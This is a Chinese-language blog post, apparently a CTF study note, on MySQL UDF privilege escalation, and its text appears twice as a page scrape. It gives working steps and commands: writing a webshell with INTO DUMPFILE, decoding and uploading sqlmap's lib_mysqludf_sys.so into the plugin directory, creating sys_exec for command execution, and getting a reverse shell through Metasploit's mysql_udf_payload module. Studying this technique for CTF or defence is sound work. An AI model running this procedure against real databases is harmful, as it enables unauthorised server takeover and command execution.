上次做题的时候遇到了各UDF提权没有做出来,遂补习,建立在已经获得基础权限需要提权到mysql的情况下
简单罗列一些,这次主要研究UDF提权的手段。
1.sqlmap -os-shell
2.手工dumpfile
3.NDAY
secure_file_priv可以通过 show global variables like '%secure_file_priv%';来查询,NULL不允许写入
show global variables like '%secure_file_priv%';
+------------------+-----------------------+ | Variable_name | Value | +------------------+-----------------------+ | secure_file_priv | | +------------------+-----------------------+
SELECT '' INTO DUMPFILE '/www/wwwroot/192.168.56.102_8083/phpinfo.php';
UDF(User Defined Function)顾名思义用户自定义函数,一般形式是用c语言编写的动态链接库,windows为dll,linux为so,所以不准确的说UDF是一种C代码执行
UDF提权除了需要以上写shell的权限还需要mysql的plugin文件夹有写入权限,才能完成
我知道的比较方便获得动态链接库的方式有三种
Exploit-DB 在Expdb中有适用于windows与linux的.c文件,拿出来编译就好
编译方式
sqlmap
在sqlmap也自带了UDP的EXP文件位于下载位置的 /data/udf只不过其进行过编码,使用自带的 cloak.py 解码即可
/data/udf
cloak.py
cloak.py -d -i /opt/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
show variables like '%plugin%';
一般会返回如下的信息
/www/server/mysql/lib/plugin/这个就是udf目录
/www/server/mysql/lib/plugin/
sqlamp写入
利用sqlmap写入需要以下条件,POSTsql注入;mysql高权限;secure_file_priv为空,及可以在任意位置输出文件;plugin目录允许写入,一般默认是不允许。
sqlmap -r /home/neko/Desktop/1.txt --file-write="/home/neko/NekoData/temp/udfexp.so" --file-dest="/www/server/mysql/lib/plugin/udf.so"
手动查询写入
如果没有注入,有webshell或者其他连接服务器的手段那就可以尝试直接使用查询语句来写入,条件与上面无异,利用方式与写shell差不多
select 0x[十六进制] into dumpfile "/www/server/mysql/lib/plugin/udf.so"
当然直接传输16进制可能会出现问题,之前就遇到过不准确的问题所以也可以在将文件直接传入服务器可操作的目录在传入mysql在传入plugin文件夹
create table test(line blob);
insert into foo values(load_file('/www/wwwroot/192.168.56.102_8083/udfexp.so'));
select * from foo into dumpfile '/www/server/mysql/lib/plugin/udf.so';
利用
在传入so后利用需要创建函数
create function [函数名] returns integer soname 'udf.so';
函数名的查询可以通过 nm -D udf.so命令获取,这时候使用 sys_exec函数会发现如果成功执行会返回0,如果失败则返回其他数字
nm -D udf.so
sys_exec
那就可以尝试来做反弹shell了
msf属于经典中的经典,使用的是 exploit/multi/mysql/mysql_udf_payload这个模块,在mysql允许外连和知道的root密码下可以直接生成反弹shell
exploit/multi/mysql/mysql_udf_payload
可以看到plugin目录下被写入了一个so文件
而后利用他做了一个反弹
Navicat是一个非常好用的sql工具,他有一个通过http隧道连接的工具,如果我们控制的设备sql能上传文件pl文件夹也有写权限那就可以考虑向他写入一个navicat隧道来连接sql
界面大致是这样样子
根据上面利用就好
学习,收藏了。。。
Popular Ranking
Popular Events
mysql UDF提权
上次做题的时候遇到了各UDF提权没有做出来,遂补习,建立在已经获得基础权限需要提权到mysql的情况下
权限获取
简单罗列一些,这次主要研究UDF提权的手段。
1.sqlmap -os-shell
2.手工dumpfile
3.NDAY
webshell
secure_file_priv可以通过
show global variables like '%secure_file_priv%';
来查询,NULL不允许写入手动UDF
UDF(User Defined Function)顾名思义用户自定义函数,一般形式是用c语言编写的动态链接库,windows为dll,linux为so,所以不准确的说UDF是一种C代码执行
UDF提权除了需要以上写shell的权限还需要mysql的plugin文件夹有写入权限,才能完成
获得动态链接库文件
我知道的比较方便获得动态链接库的方式有三种
Exploit-DB
在Expdb中有适用于windows与linux的.c文件,拿出来编译就好
编译方式
sqlmap
在sqlmap也自带了UDP的EXP文件位于下载位置的
/data/udf
只不过其进行过编码,使用自带的cloak.py
解码即可寻找plugin目录
一般会返回如下的信息
/www/server/mysql/lib/plugin/
这个就是udf目录UDF写入
sqlamp写入
利用sqlmap写入需要以下条件,POSTsql注入;mysql高权限;secure_file_priv为空,及可以在任意位置输出文件;plugin目录允许写入,一般默认是不允许。
手动查询写入
如果没有注入,有webshell或者其他连接服务器的手段那就可以尝试直接使用查询语句来写入,条件与上面无异,利用方式与写shell差不多
当然直接传输16进制可能会出现问题,之前就遇到过不准确的问题所以也可以在将文件直接传入服务器可操作的目录在传入mysql在传入plugin文件夹
利用
在传入so后利用需要创建函数
函数名的查询可以通过
nm -D udf.so
命令获取,这时候使用sys_exec
函数会发现如果成功执行会返回0,如果失败则返回其他数字那就可以尝试来做反弹shell了
UDF工具
MSF
msf属于经典中的经典,使用的是
exploit/multi/mysql/mysql_udf_payload
这个模块,在mysql允许外连和知道的root密码下可以直接生成反弹shell可以看到plugin目录下被写入了一个so文件
而后利用他做了一个反弹
Navicat http隧道
Navicat是一个非常好用的sql工具,他有一个通过http隧道连接的工具,如果我们控制的设备sql能上传文件pl文件夹也有写权限那就可以考虑向他写入一个navicat隧道来连接sql
界面大致是这样样子
根据上面利用就好